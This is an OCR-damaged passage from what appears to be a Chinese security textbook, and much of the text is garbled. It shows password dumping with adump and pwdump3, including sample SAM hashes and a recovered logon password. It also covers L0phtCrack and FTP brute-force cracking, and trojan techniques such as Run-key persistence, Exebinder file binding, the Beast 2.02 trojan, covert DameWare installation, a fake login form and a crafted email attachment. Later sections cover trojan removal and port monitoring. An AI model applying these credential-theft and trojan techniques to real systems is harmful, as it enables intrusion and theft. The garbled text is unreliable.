Adump — f [filename]

adump - d
The logon information is:
User Domain: [STREAM] STREAM
User Name: [lqzld] lIqzld
User Password: [play2586] play2586

Unable to find winlogon or you are using NWGINA_DLL.

Unable to find the Password in memory.

2.

2.2.5 SAM LOphtcrack
Pwdump
Pwdump NT Windows 2000

pwdump3 ip_address [filename] [username]
ip_address ip
filename
username
pwdump3 10.0.14.21 password.txt 1P 10.0.14.21

password.txt
é%? Admin

Administrator:500:028329D30AE6B29638D11C5FBFBDF3BD:BFD477682860D815FF8002FC34646CA2: - :
Guest:501:CCF9155E3E7DB453AAD3B435B51404EE:3DBDEG97D71690A769204BEB12283678: ::
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TUSR_NAV-1T:1001:028329D30AE6B29638D11C5FBFBDF3BD:BFD477682860D815FF8002FC34646CA2: -
IWAM_NAV-1T:1002:CCF9155E3E7DB453AAD3B435B51404EE-3DBDE697D71690A769204BEB12283678: - :
TsInternetUser:1000:CCF9155E3E7DB453AAD3B435B51404EE - 3DBDE697D71690A769204BEB12283678: - :

hash

LOphtCrack

ADMIN ADMIN DUMP
DUMP

’lill Yén ,..I.,’_E“,.,;f‘,'iu.a Help

HEHEI 4 Ma ¥ e 0 dryeBeE g
ADMIN Domain | User Name IN Pascword | <8 [ NTLM Pa .. | Audit Time | Met] [ o0 S0
Adninistrator  TPPIIRIIT __uprds_total
Guest 123 x 123 04 Ok On 05 Dic: 29157
TUSR_WAV-IT 277977717 S-tords_done
THAN_FAV-IT 123 x 123 04Ok On 0 Dicff —_____% done
TsInternetlser 123 x 123 0d Oh Om 05 Dic: 1003BE0Y
ADMIN BRUTE FORCE
i ah te e
DUMP CRACK —__kime left
% done
current ;gg!;
CRACK [N o__keyrate

UNICODE

[RTLTLTRTEY

hash _&mmgig
- 4 | 3 audited !;g%
LOphtCrack File New g T

Session Im- 2-3-16 LophtCrack hash
port Import From Pwdumpfile.

buditing Options For This

pwdump ~Tictionary Crack

ictionary Lisl

Session Begin Audit The Dictionary Crack tests for passwords that are the same as the
B w?of'.i'ls listed in_the word file. This test is wery fast and finds the

~Dictionary/Brute Hybrid Crack
2-3-16
[ Enabled ID VI Characters to prepend

|2 VI Characters to append

[~ Common letter substitutions (much slo

The Dictionary/Brute Hybrid Crack tests for passwords that are
wariations of the words in the word file. It finds passwords such as
"Dana9” or “momkeys!”. This test is fast and finds weak passwords.

LOphtCrack

R ariririrdrdrds ~Brute Force Crack

Character Set:
[£ -2 0-9 end tesgw ae 0—+="" 10 [ 7]
Session Session options [ Distribute Cuie tor [Chiar dover Get (IHee Sal

Brute Force Crack Enable parill o | !

The Brute Force Crack tests for passwords that are made up of the
Character set characters specified in the Chavacter Set. Tt finds passwords such as
test is slow and finds medium to strong passwords. Specify a
2-3-17 character set with more characters to crack stronger passwords,

oK I Cancel

l@,ﬂngbl ed

Begin Audit L]
2-3-17
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o, 2-3-16 LOphtCrack

12345678#

%LOphtCrack Win NT/2000
Windows NT/2000

(Admin) 18%
2.3.8 FTP
@ FTP
o5y FTP

“FTP

2-3-18

wEE SEE SEW MG BA@ TEO o 2F

1234#5678

4.0 P300 48 90%
10

Windows 2000

| » FTP

FUNEREE |
o A% BfmEa
- [O®3 Pors 41
&3 e 41
g |
e mEDX
EZh HE >
S ATIEEEM
S » L R
Tl > MEREPHE..
LOmE > WEasEr  |EEEE
HP& = W [ @
«| | il
| — | BF | Ba | #£ | FuEE | e
2-3-18 FTP

2-3-19

FIn=EA (FTE)

Iftp. tzinghua. edu. oo

b BehBEREAIRIEE E)

o {BF BT )
(*x© | [ BEO |

2-3-19

FTP
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FTP FTP
2-3-20

CAEE - [ERdtd. T1] Build 3206 (20BHHF)

T B SEW HBle E#0o TEO B3

FOHEFEL: | =]
TS =i
A pors 4L
M3 Ihar =41
Ay FIE =4

HE@ ftp. tzinghua, edu cn.
EE. I:“Program Files'netXeyesi\Fluzay 4. T1"Hame. dic

& HITE
N8 rrRoNy=EH
M= FoEn 41
NEh MssaL 41
HRENEATL
G smre =E4T
E. 1rcs 41 Iﬂ
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“
! 4 | Za [E=T
2-3-20 FTP

FTP

“123456”
2-3-21

AR e

M HETE—TRPEEFNER |%
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Windows

Win.in [WINDOWS]

System.ini [BOOT]

Win.ini system.ini Autoexec.bat Config.sys

.ini

“ “

run=" load=" Windows

“

shell=Explorer.exe” shell=Explorer.exe

explorer.exe “ shell=Explorer.exe ’

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

3.2.1

IW‘

HD

WinZip

" *“ CuteFTP5.0 "

CuteFTP “ "

Run

- 73



dows

7 ZIP
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3.2.2 Exebinder

Exebinder EXE

“ 1
C:\PWin98\Notepad.exe
“ o»
D:\tool\santa.exe
D:\tool\Notepad.exe
3-2-1 “ "

D:\tool\Notepad.exe
C:\Winnt\Notepad.exe D:
\tool\santa.exe

WiR. EreenstufEsott net webmasterligreenctnfisott net

CEE

o EXERSMIL 2.0 W

i S Em ) T S bA e s

AT 1 | [C: \WIHNT\NUTEPAD. EXE
HiTirtd 2 | FD:"utuol'\santa. axe

FJ:‘;toal\HDTEPA]]. EXE

@3 | ey |

3-2-1 Exebinder

|
.A .. .A .
.A . .A ,, .A .
,, .A . L
3.2.3
QQ
3-2-2

HBI2R: [0 ttoolhzanta. exe

I EE

i

TEFIRT SR
I, HER
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hitp:/fwew. microsoft. com/china/technet/security/bulletin/m=03-032. asp

BREHS
http: /fwww. 138=0ft. com
lowejingtaolZlen. com

21

003, 11. 8.

3-4-42  exe2bmp

-exe

exe2bmp
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flash

3.4.7 _ Beast 2.02

Beast 2.02
16666 500 XP 1CQ2003
explore.exe Internet Explorer “ "

“ »

Beast.exe

3-4-43

4 Beast 2.02 = ALK

“ " Internet
Explorer Explorer.exe

Windows XP/2000

100%

“ " 1P 1CQ E-mail E-mail Hotmai l
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4 PORTDETECTIVE
500 PORTMONITOR

Windows XP

.exe

3-4-46

| 4= Fake Error Message ConfigurationfiC]

“exe

server.exe

3-4-47
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50K

3.2.1
beast.exe
1P 6666 | ek |
1 ‘ S o m -l LEsblpal o i e
bootionthbin [ e—
B |
3-4-48 “ " Files [Folders] 13 o S
3-4-48
3-4-49
Proc”

€ e

2 BeastExE
| CheckDllexe

F-o CEIE5.eXe

i Ewplorer.exe

©iexplore. exe

- |Ewplorer. exe

: internat. exe %
7 lsass.ene

0 MST ask ave

o regeve.eve

2| services.exe

| services.exe

Subkeys 42

DOS
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3.4.8 ——DameWare Mini Remote Control

Windows pcAnywhere Internet

DameWare mini

remote control DameWare NT Utilities

DameWare mini remote control

3-4-51
= Host List Ir Mk EHLE SRS 0 EEO |
L= 10.0.13.18 (Cenpor [ENBERE] Er

B 1)
indows NT Challenge/Rezpens«¥| FREEEH (D
I~ EASEHERIES ® AEAG
APE W -
[adninistrator HISTE ©
T E): . #Bo. |
[kt -
Q) Evw |
I _#Fe |
VB EESES FETEEE... |
R @

T |

3-4-51
1P 1P

2
“ " = =
BT | AHIRTH | FEEHET | ST | AT | SR |
dwres.ini - eEsERE AR L
3-4-52 [ EHREmE ©

I BRESEREmE m
ERE0: 5 B0 =
SRR EETR W

1.5) “ " ST R (AR ©) = =

S J%X@_)l ﬁﬁﬂ%‘mﬂ 8123
6 = « ATFEE
) I BERESHEN T |Emux5tm ~
Wil TG
3-4-52
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FEEHl - iR - 10.0.13. 19

® = HIHEREHIRSHE 10.0.13.19 F
T e
EEEEVHIEEET T
B IR R R ST, —
%m.: 10.0.13. 19 DEE gﬁ@m@'
ER (D) >

3-4-53
3-4-54

LS

@ =T
=lalzz e esals s
10

]| @ %A 1

:’ijiflgigﬁjzxﬁyi [EFERE] CAsTREM _ e Ty @?il—/é
3-4-54
“ DWRCS.exe” “ Admin$\SYSTEM32”"
“ Adming” Windows 2000 “ CI\WINNT”

L]

IPC$
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3.4.9 e
WebExplorer
WebExplorer ActiveX

HTML

WebExplorer

WebExplorer.ocx

WebExplorer.htm

WebExplorer

(www.hackbase.com)” Web

ActiveX

WebExplorer.ocx

.bat
.bat
.bat” 3-4-55
WebExplorer.ocx WebExplorer.htm
“ " Windows
“ , 3-4-56
. d | THABRVE HUfE: i ./ Mysnhackbase com
THE GEE SEQ KA TED BHio - WebExplarer v1.0 (©)2003 BiEEH TE, JURRE BItE: EEEFENE hip//w P
CEL 5 D@ a orr wkeE gwe 3590 om0 ) STl EMETE [peEi | bed | BETAE|
HAED) [E] 0\ T8 b1 10 FIEREE ) buwnt L10WebBxpLorar, hin ) m@gsﬂ 5 2
Gorgle-[ ClgRsAR &iann | Pert g | trE 1 - [EEEY_LOCAL MACHINE =] ISthware\]hr:rnsuft\Wlndnws\furrentVerslun\RunLI ﬁ_ﬁl
- EE [t i ]
10 LSRN : (Parent) SUEKEY
ST [ | M | Atk | RETAN| OptionalComponent SUBKEY
SETHET Fersonal FREG_SI D:\Progran Files\Skylet\FireWall\FF¥nai e
Rundll \DOYNLL n. =
EErE E= Synchronization MREG_SE mobsyne. exe /logon
SFEE ) AR T.78 GB 5.08 6 = -, s
gt e e ey cesmain, d11 REG_SE rundl132. exe C:\PROGRA™IN3T21\Ces\cnail S
Saat @) s wsa s TkBellExe REG_SE “C:\Progran Files\Commen Files\Realilpd
S 5 i wows  sLTm mssysint REG_SE iexplore . exe
gig o b optray REG_SZ C:\Program Files\NavlT\vptray. sxe e
[Efap RELPER
N [orattin [ré Rund 1132, exe C: \WINNT\DOWALO - 1\CnaMin. d11, Rundl || | i
ql 7w -
B3 T s =
3-4-55 3-4-56
« »




1E MSDOS 1E

3-4-57
2.
WebExplorer.ocx WebExplorer._htm
WebExplorer.htm
35.1 Trojan Remover
Trojan Remover
WIN.INI SYSTEM.INI Log
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TrojanRemover6.0

TroianRemover6.0

Trojan Remower 6.0.2

File Options Register Help

TrojanRemover

3-5-1

dL

sy Bae @®olae M2

Trojan Horse Detector & Remover ‘;‘w

Database 6003, released 01 July 2003
- ¥292 unique tiojan signatures -

3-5-1 Trojan Remover6.0

Trojan Remover6.0 “ Scan” Trojan Remover
3-5-2
' Trojan Remover — Scanning @
Overal Progress...
76% R
Scanning Active Setup subkeys...

Scanning Active Setup...

Checking Fegistry... Done.
Scanning WIN.IML. Daone.
Scanhing SYSTEM.INI Done.
Scanning Registry.... Dane.

y

3-5-2
Trojan Remover
3-5-3 “

4 Trojan Remover — Scan Complete X

Scan completed,
I |

No active malicious files were found and no changes were made.

Checking Registy... Dare, Seanning Vi entries.. Dare.
Seanning WK INI Dore Seanning Global Start Group Dore
Scanning SYSTEMLINI Done Seanning User Start Groups Dare.
Seanning Fegisty. Dare. Checking Services File... Dare.
Scanning Active Setup. Dore: Checking Autosses bat Dore.
Scanning NTAP Services Done Closing SeanLeg . Dare.

3-5-3

3.5.2

The Cleaner

The Cleaner

Trojan Remover

3-5-3

ViewLog”

i Trojan Remower — D:\Program File=z\Trojan RemoveriTRL... E]@@
A

Trojan Remowver Wer 6.0.2. For information, email simplysupsupport@®aal. com
[Reqistered version]

Scan started at: 20031027 22:13:23

Using Database wEO03

Operating System: Microsoft Windows XP Version: 5.1 [Build: 2600 Service Pack 1)

Checking Registy exefile command for modifications
Checking for traces of the Intermet Worm VBS ALifaStages

22:13:23: Seanhing - TR S
WIRLINI found in DoSWIND OWS

22:13:23: Scanning - SYSTEM.IN|-eeev
SYSTEM.INI found in D:SWINDOWS

2 canning —-WIMDOWS REGISTRY---

23

Checking HKEY_CURREMT_USER4SOF TWARE \Microsofth\Windows NTA\CurrenfyersiontiwinLogon
This key doss not contain 3 Shell value sa nathing to check
A0 L)

|

I

[ em 37

[ Clogze

3-5-4
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“ Next”
The Cleaner
The Cleaner

The Cleaner

The Cleaner

(ﬂ The Cleaner Professional RC1 4.0 BUILD 4082
Eile

X

Options Trojan List Quaventine Manager Help

Database v3403, dated + A 21, 2003, 7575 trojan definitions.

s))can System

Trojan Database

3-5-5 The
Cleaner 4.0
TheCleaner “ File” Quaratipf
C C System Information
“ 0K” © @ [Ready.
3-5-6 3-5-5 The Cleaner 4.1
— O AAVASCLASSES
g 2
\g I5HE (&) @& — o
Statistics
- File stats: 3999 files | 60 filesfsecand | 61660 fingerprints/secand
W FHIEE (0:) Elapsed: 1 minute(s) and 06 secand(s)
= Trojans: 0
e D Zﬁtﬂmﬁ [E ] Filenamme Trojan Action 1
g&g$ﬁﬁﬁﬁ1
g THEE ) by
e ™
Trajan DB
I, oK % [ Cancel ]
[ Stap ] [ Pause ] [ Minirnize
3-5-6
TheCleaner
“CleanAll”
TheCleaner
TheCleaner
The Cleaner The Cleaner TCMonitor
TCActive
TCMonitor

3-5-7
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TCMonitor

TCMonitor

TCMonitor

TCActive

TCActive

“ Terminate”

3.5.3 BoDetect

BoDetect BO
BO Detect/Remove | Options | Frogran Status and Updates |
BoDetect 3.5 el LR S:P —————
éf/mmn — 43
BoDetect “ |
" BoDetect BoDetect
3-5.8 Trpe Iy Frocsss Name [ Begistry Entry
BoDetect
BoDelect
Detect/Remove BoDetect
BoDetect < |2
BO BO & Hide ¥indow s
3-5-8 BoDetect 3.5
“ Remove” BoDetect BO
BoDetect BO
BoDetect
BO BoDetect BoDetect
.BOD BO2K.EXE.BOD BO2K BoDetect BO
BoDetect BO2K
“ Infected Files” BO2K.EXE.BOD “ Restore”
“ 0K” BO2K BO2K.EXE
“Delete” “0K”
BO2K.EXE.BOD
BoDetect BoDetect BoDetect BoDetect

68 TCHonitor 2.0 BUILD 2016

CEX
File Edit
d DAWINDOW S\Sustem 32 autaexec. nt

d DAWINDOWSAS pstem32\config.nt

V—? D MProgiam FilesyThe Cleanery

£ D\Documents and Seltings\wusinhuas [FFIS] 3t R Szh
HECR batfilehshelhopentcommand

@ HECRcmdfileshellhopenhcommand

@ HKCRcomfileishelhopenhcommand

@ HKCRexefile\shelhopentcommand

@ HKCR4WSEFilehS hel\EditCommand

@ HKCRWSEFilehShel\DperhCommand
HKCR4WSEFilehShelDpen2\Cammand

HECR%SFilehShel\Editt Cammand

@ HKCR4WSFileA\ShelhOpen' Command

@ HKCRSFiletShelhOpen2iCommand

[B] HKCRWBEFis\S helhE dityCommand [%

,@ HKCRYWEEFle\ShelOpentCommand

Options Help

P2

i<

Ready

3-5-7 TCMonitor

BO2000
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“

Options” BoDetect “ Autoscan system after BoDetect is loaded”

BoDetect BO
“ Silent Mode” BoDetect BO BoDetect
BoDetect Windows BoDetect “ Monitor System”
BoDetect BO
“ AdminAlert Options” “ Enable AdminAlert”
“ Logging Options” “ ViewLog”
B “ ClearlLog” e
“ Notification Options” BO Open Main
BoDetect Window BoDetect Flash Tray Icon Windows BoDetect
“ Startup Options” BoDetect
BoDetect B02000
354 ——iparmor
3759 — B EIEEEE, A S mER B EERE.
}gﬁg’t igs“l\ffﬁ:% ,
RERILRD, RbGiwer |
HEs T S AT T : hleer ' ensminhk. enshook
3-5-9 MEz TS E T M0 heer b enshelper. ch
ez S ST AT : hher benshelper. ch. 1
MEzr SR T : hcer \ensminhk, enshook. 1
e ST hbdm' s o ftwar eh3T21
HEE T SR I hkeutzo ftwar ehanr eate
HEE T S AT hldlm zo ftwar ehanreate
MEe TSR T hecut s o ftwar eheydoor
MR SR dmY so ftwar eheydoor
MEs ST Mdn o ftwarehmicrosoftiwindowst currentvers
| ion'ag P, Mans ementharpeachetradiate advertising
| ﬂﬂlﬁ?\J‘E S FEFFEM N hcew' softwar ehmicrosoft windowsh currentvers
“« | 1 on bacloy
| ﬂﬂlﬂ%r%éFﬁEﬂﬁIﬁ ‘hdmbsoftwar edmicrosoftiwindowsh currentvers
" « N . . | ionhuninstalliradiate advertising
| iE it
“ iparmoroptions
" i
P » v Eiilim O
“ SCAN” Iv BEAR v EAFEEER
v fTH &R [ ZHaRE R
E-mail T ‘ o— |
3-

3-5-10 Iparmor
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Ih &

| Startup Pracesse

Il

C:APROG

¥ INTERNAT.
¥ "CAPROGRAM FILESYMSN MESSENGERMWSNMS GR.EXE" /BACKE

RUNDLL32 EXE CAPROGRA™MIT2IMCESHCMAIL DLLRUNDLLE2

EXE

TR

K| Bl
3-5-11
“ " 3-5-11 Iparmor
=) tcp
listen
FProcess | FProto | Local IP | Port I Bemote IP | Fort I State &
System  TCP 10.0,13. 16 1707 10.0.15.15 134 estab
System  TCP 192.162.234.1 139 0.0.0.0 5OS09  listes
1P System TCF 0.0.0.0 1144 0.0.0.0 59500  listes
System  TCP 0.0.0.0 1145  0.0.0.0 26658  liste
3-5-12 System  TCE 102 168.180.1 130 0.0.0.0 2235 lister
System  TCP 10.0.13. 16 139 0.0.00 43019 listes
System  TCP 0.0.0.0 1025 0.0.0.0 59425 lister
System  TCP 0.0.0.0 1828 0.0.0.0 50833 lister
“ " System  TCP 0.0.0.0 1142  0.0.0.0 10250 listes
System  TCP 0.0.0.0 1026 0.0.0.0 2118 lista
System  TCP 10.0.13. 16 1707 0.0.0.0 51226 liste
System  TCP 0.0.0.0 445 0000 18587 listes
System  TCP 0.0.0.0 135  0.0.00 34828 liste
System  UDE 10.0.13. 16 1781
System  UDP 192 168.234.1 1 =
P e nnonn coh
4 I I Rk
3-5-12 Iparmor
3.55 LockDown2000
LockDown 2000 Internet
LockDown 2000 Internet
LockDown 2000
1P
LockDown 2000

- 11



Internet

1CQ LockDown 2000
1CQ

LockDown 2000

LockDown2000 v7.0.0.6 LockDown2000
1. lockDown 2000
LockDown 2000 3-5-13
“ Scan” “ Troian Scanner” “ Options”
3-5-14

Automatic Troian Scanner File Chanae Monitor Manual Trojan Scan
v Sean for unknown tojans v ALUTOEXEC.BAT B cari Path Ic;\ ﬁ[

[V Background scan for tojans | 7 COMFIG.SYS

L Trs Update  Help u

|N’ak Utihsl Sharesl Share Dunneclions' Former Share Cohnaclinnsl Utimiesl \
1 —— Scan Interval (sec): 30 § I WANINI

= Fast Spstem Area 5
1 ockDown 2000 v7.0.0.6 - EXi=. —F 14. 2004 - 04:44 PM R EERT | ] eI e e

Scan for Trojans

E

- Trojan network connectivity check enabled. Additional Scan Path
- Aulo Trojan scan is activated. A ~
:: Nuke protection disabled. : =

Scan Sensitivity
Low | High

- ICA Nuke protection disabled.

Trojan Signatures - 1666 loaded Ignore List

j #T eenzex WBS i I
- — > 10 Reasons Why | Hate YouVBS
< . . 10 d; g 4 2
‘ (Lo Scanee e —I O il | 1-300 Dialer Trojan Remove |
| ICQ/Nukes/TroE oftiofi/IN Optiors_| | 2on2VBS =

H 5ave Information Loa |

‘ AutoTrace: Active Optians... [ Clear Information Lag

W AutoUpdate  Update Signatures I ‘ ¥ Don't Scan WINDOWSATEMP

Disconnactl IP Fil!eringl Detection  Trojans I Genetall oK
B3 sconnect mode: [OFF] [Funber of current users: O 4
3-5-13  LockDown2000 3-5-14
“Scan for
Trojans”
“ File Change Monitor” LockDown 2000

Lockdown 2000

“ Options” “ Detection” “ Detect Trojan Con-
nection Attempts”
1P
1P
“ 1P Filtering” 1P 1P 3-5-15
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LockDown 2000
LockDown 2000

Disconnect”
options

Alwayz Disconnect these Ps: |
10.01319

L

Clear Disconnect List

Add P to Disconnect

Remove IP

Llways Allow the 1P to add: ||— oK I Clear Allow List |

Add P to Allow

I

Remave [P

I~ Allow Specified IPs [~ Disconnect Specified IPs

LockDown 2000

3-5-16

Program
& DAT BAEXEBINDERAEXEBINDER.EXE
B DAT B W TTIOPIEERERE ) w1 11 0NRIR ..

I Clear Program List

Remove program

5

[+ Disconnect all when executing progiams listed above
Disconnect users after idle time of (in minutes): Iw vﬂ

I‘ID ﬂ.

tagimum number of connections:

Disconnect | Filtering | Detectionl Tmiansl Generall oKk | Cancel Disconnect | IP Fiﬂefiﬂgl DBtECUDnl Trniam| Ganerall oK Cancel
3-5-15 1P 3-5-16
2. LockDown 2000
LockDown 2000
1P
IP ISP 3-5-17 , Opti Tra Update  Help Uni
“ Hostname or IP to Trace” “ Hostname or hain  MNet Utls H Sharesﬂ Share Cnnnectioml Former Share Conneclionsl Ultiities |
TraceRoute Whols
IP to looku P " 1P Hostrame or IP to Trace: = Hostname or [P lo lookup: ﬂl
“ Execute” !
I™ Resolve Hoshames C_Irl v Egecutgﬂ A‘;,& Change Server | C\rl « Eaecutel
LockDown 2000 \ =] &

“ Share Connections”

C$ “ Network Information”
1P
3-5-18
“ Auto kick”
LockDown2000

“ Former

Share Connections”
LockDown 2000
LockDown 2000

LockDown2000
LockDown 2000
“ View|Password”
“ QK"
LockDown 2000

nl

[Humber of shares: § 7

] ;fJL

Discormect mode: [OFF]

3-5-17
[-[Ofx]

LockDown 2000 ¥7.0.0.6 - 1 share connection{s)
File W¥iew Help

e 2y

%3

Options ~ Logs Unlack

Hain ] et Uli}sl Shares  Share Connections ] Fomer Share Eonnectinns] Ut\lities'

= ~Hetwork Information

Enter time: 18:01:53
Enter dats: 2004113
Connected time: 00:01:83
Idle time: 00:01:46
IP address: Mat knawn
User: ADMINISTRATOR

Mot knawn

Disconnect mode: [OFF] [Mumber of current users: 1 v

3-5-18
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LockDown 2000

LockDown 2000

ISP
[=] &
1 THE EMQ =5 Fhho
mREE R e |
BAISETh [ el cev] ceugmm | iG]«
System Idle F... 092 5:23:56 16 K
System & oo 00120 286 K
smss. exe 152 0 0:00:00 424 K
cares. exa 150 o 00111 3,4TE K
. winlogon. exe 200 00 0:00:08 2,216 K
Windows 2000 sorpines. wpn 256 00 00070 2,808 K
1sass exe 240 00 D000z 1,312 K
3 -5-1 9 wuauelt, exe 296 00 0:00;00 1,264 K
Myare. exe 308 02 oioniEl &,EE0 K
- M svchost. exe 42 0 0:00:02 2,004 K
Windows 9x | | | spooley. exe 1= m 000010 2,080 K
defrateh, exe 48 00 0:00:00 416 K
| | | " svchost. exe S04 00 0:00:05 2, TIEE
rivscan. exe 532 00 0:02:07  Z,B44 K
3-5-20 nvsveds. exe 635 OO 0:00:00 08 K
NSTask, exe 664 00 0:00:03 660 K
taskmar. exe 715 a0 oio0i00 5,092 K
ymnat, exe 755 00 0:00:02 BB E o]
Vindows. 2000 s m B amE
SETRE (B) |

HAREL 39 CPU fER: 11% PITFIEFE . 454852K / 632608E

3-5-19 Windows 2000

| Bt EEW TED | & | SPE 2=

| & [estE S
) 7Ee || oem A #0 E
[ BiGHE SMSS,EXE ciiwinntisystem32ismss,exe 5.00,2170,1 4
Cores.exe EN- i) FRED E
winlogon.exe o \winntisystem32iwinlogon.exe 5.00.2182.1 1
services.exe i \winntisystem32iservices .exe 5.00.2134,1 =1
|sass,exe ciwinntisystem3zilsass, exe 5.00.2184,1 3
sychosk, exe ciwinntisystem3Zisvchost. exe 5.00.2134.1 7
spoalsy.exe ciiwinntisystem32ispoolsy. exe 5.00.2161.1 4
dwrcs.exe ciwinntisystem32idwres exe 3,66,0,0 2
svchost, exe c\winntisystem32isvchost. exe 5.00.21534.1 7

int! xE

regsye.exe ciiwinntisystem32iregsyve.exe 5.00,2155,1

=
mstask, exe ciiwinntisystem3zimstask, exe 4,71.2137.1 1
winmgmt.exe o \winntisystem32ywbemwinmamt....  1,50,1085,0001 1
3-{3 Internet Explorer 5 explorer exe ciwinntiexplorer exe 5.00.2920,0000 2
svchost, exe o jwinntisvchost, exe B 41
igxplorer.exe o winntisystem32\iexplorer . exe fHE, 2
checkdll exe ciiwinntisystem32icheckdll. exe 1,0,0,1 1
iexplore.exe clwinntisystem32liexplore.exe 6,00,2600 5
services.exe o lwinntiservices . exe - THER
4 »

3-5-20 Windows 9x
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regedit

3-5-21

BV dwm@ o

o] Reliability & [ =R T S
28] @A) BEG SZ EHEREE)
[@]cesmain. 411 BEG_SZ rundl132. exs C:\PROGEA
[aB]Lo ckDewnz000 BEG_51 Ci\Program FileshLeckd
[aB]Synchronization. .. REGSZ mobsyne, exe /Logon
[aB]vptray REG ST C:\Frogram Files'HawlT!

(I Shell Extensions
E-{Z7 ShellCempatibilit
-1 ShellSerap
{2 ShellServicelbjes
(0 S4i11Tmage

o B Synener
-7 Tal anhpne =
4] f » |

o
[FEAYARM\HIEY_LOCAL_MACHINE\SOFTHARE'MA crozo£t\Hindows \CurrentVersi on\Run o
3-5-21
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Run RunOnce
RunoOncetEHXx RunServices RunServicesoOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Run RunOnce RunOnceEx
RunServices RunServicesOnce
3
HKEY_CLASSES_ROOT\exefile\shell\open\command exe
N1t gk
HKEY_CLASSES_ROOT\inffile\shell\open\command inf
%SystemRoot%\system32\NOTEPAD.EXE %1 %SystemRoot%
HKEY_CLASSES_ROOT\inifile\shell\open\command ini
%SystemRoot%\system32\NOTEPAD.EXE %1
HKEY_CLASSES_ROOT\txtfile\shell\open\command txt
%SystemRoot%\system32\NOTEPAD.EXE %1
4 ini
Win.ini system.ini ERTTT W= |
| 2tw =sw |le~ | am BB = 1 » |
“ - v _ N | & [miz (%% [e=pzs [=ssl [-
run= load= shell=Explorer.exe TR Byileter B =y ey
@ EH%THE % dpplication Manage... 12fit... Fzh LocalSystem
TriE %C\ip%uk =5 Fah LocalSystem
o RS AR COM+ Evert System 12, EBsh Fah LocalSystem
Ex p lorer.exe oA WML SR i Computer Browser #ie.. BB 83 LocalSystem
H 5\%;; JRss DameWare Mini Re... 28=h Bsh LocalSystem
il %5 (RS S DHCP Client . BBEh B LocalSystem ||
el SDistributed Lk Tra.,. 3. B85 Bsh LocalSystem
2 Windows 9x S Distributed Transac...  3£3... Fah LacalSystem
: %DNS Client @Bif.. BBz B LocalSystem
= Event Log ig®.. BE8sh Bsh LacalSystem
5 Windows NT/2000 %Fax Service FE5Bh... Fzh LocalSystemn
% Indexing Service Fzh LocalSystem
%Intemat Connectio... iE... F=h LocalSystem
sE{gIPSEC Policy Agent =%, BBzt Bsh LocalSystem
%Lug\ca\ Disk Manager 148, BBz Hzh LocalSystem
f*%gmg\ca\ Disk Manage... B Fzh LocalSystem
Messenger Ei%t.. BBsh Bsh LocalSystem
“ I ” « et Lagon = Fzh LocalSystem
S letMeeting Remote.,.  f28F... Fah LocalSystem LI
" “ ‘
3-5-22
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» 3-5-22

3
cmd netstat -an
1P
“ Local Address” WINNT' System32', cmd.exe
1P C:>netstat —an
lictive Connections
ca Foreign Address State
8. 8. g LISTENING
. 8. a. LISTENING
Windows NT/2000 iy o LISTENING
. a. 6.0.8 LISTENING
Fport Active Ports @ 5.8.8 LISTENING
a. 8.8.8 LISTENING
TCP/UDP a. 0.0.8 LISTENING
PID 8. 0.8.8 LISTENING
8. 0.0.8 LISTENING
- a. 0.0.8 LISTENING
Active Ports .. 9.0.0 LISTENING
a. 0.8.8 LISTENING
1P 1P ( e
8.
1P) o
.8.
18.0.
“ ” 3_5._
24 3-5-23 netstat an
]
T TR
Frocess [~ [ Loeal TP Local Port [ Remote TF | Remote Port | State | Protocol [ Path -
UOF System 8 0.0.0.0 445 LISTER unp
TR System g 0.0.0.0 445 LISTER ICF
TR System g 0.0.0.0 1oz7 LISTER ICF
UOF services. exe 216 0.0.0.0 1026 LISTER UDF  E:‘WINFT\system3Z\szervices. exe
UOF zvchost. exe 384 0.0.0.0 138 LISTER UDF  E:‘“WIHFT\sy=ztem32\zwchost. exe I
TR sychost. exe 354 1) a 135 LISTER SHINKT \spstem3Z) svehe
0
%ﬁﬁ%_J el » B
3-5-24 Active Ports
4 Windows Windows\system Winnt\  winnt\system32
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<Font size=—1>EEIHEMEEWE LR, FLIBEESEM APENER, alt

AT R E R RS, </Font><br>

<hr><Font size=—DNBIRISHEFNST &M FEIH AN OE SED SOEEHAFE

Ei 1</ Font><br>

<br><font size——1>EFEEAE T EMMENTIELEABASHEBRERE “HE 7.

</Font><br><br>
<Font size=—1>fJF45, </font>
<input name=username size=28>
<p> <Font size=—1>75F3. </font>

<input name=password size=28 type='password'><{p>
<input name='OK" type=subnmit value=f§iE>

<input type-reset value="EEEHA ‘>
</1left></FORH></body></html>
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d:\aaa.txt *.eml aaa.txt

Date: Thu, 30 Oct 2003 08:15:02 +0800 //
From: "tuopu"<tuopu@371.net> //
To: "nctry" nctry@sohu.com //
Subject: aaa //
X-mailer: Foxmail 5.0 betal [cn] //
Mime-Version: 1.0 //MINE
Content-Type: multipart/mixed; //MIME
boundary="=====001_Dragon616364271172_=====" //
This is a multi-part message in MIME format. //
--=====001_Dragon616364271172_===== //
Content-Type: text/plain; //MIME
charset="gbh2312" //
Content-Transfer-Encoding: base64 //
bmNOcnmjrMT6us0joQOKICAgICAgsh7Tyr //
--=====001_Dragon616364271172_=====  //
Content-Type: image/gif; //MIME
name="sina.gif" //
Content-Transfer-Encoding: base64 //
Content-Disposition: Foxmaillcon; //
filename="sina.gif" //
ROIGODIhPAABAOZ/APcpKKinp+IEBvTs4d. .. ... //
--=====001_Dragon616364271172_=====-- 7/
Foxmail base64
base60
Content-Type image/gif/ //MIME
name="sina.gif" //
Content-Transfer-Encoding base60 //
Content-Disposition Foxmaillcon // Foxmail
filename="sina.gif" //
d \testmail.txt Foxmail 5.0 “
” “ i " d \testmail.txt 5-3-30
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2. 2. P-@ P 6 .Y .
HRED BiE | EE B BE ME | b TEET OER | &S
& 8 tupu = v [BEL o [Z8  [s[HEE
& W [19] netry @ aaa @ 35K
SEHE @ 1ol @ s s
D ERIEHE
Bt o
W EE
> x
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|
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B 222 - BFF
HHE) HREE NBRQ FEw o

MC BzHABK ~
=881_Dragonf16364271172_===== 7
Content-Type: image/gif;

name="sina.gif"
Content-Transfer-Encoding: base6@
Content-Disposition: Foxmaillcon;
filename="sina.gif"

ROLGOD1hPAABADZ /APCPKKinp+IEBUTs4isrLWSubf4SEwwhC+sUFFFUUd W rYaH/ T13mOUFuIU
FPnAB+KRNC+ZKZKSKEQEBCLDW+Pil/ 7+ fur177q7vuYeHuur64SERPYOEegrL Pn5+ecOD/DX8FTL
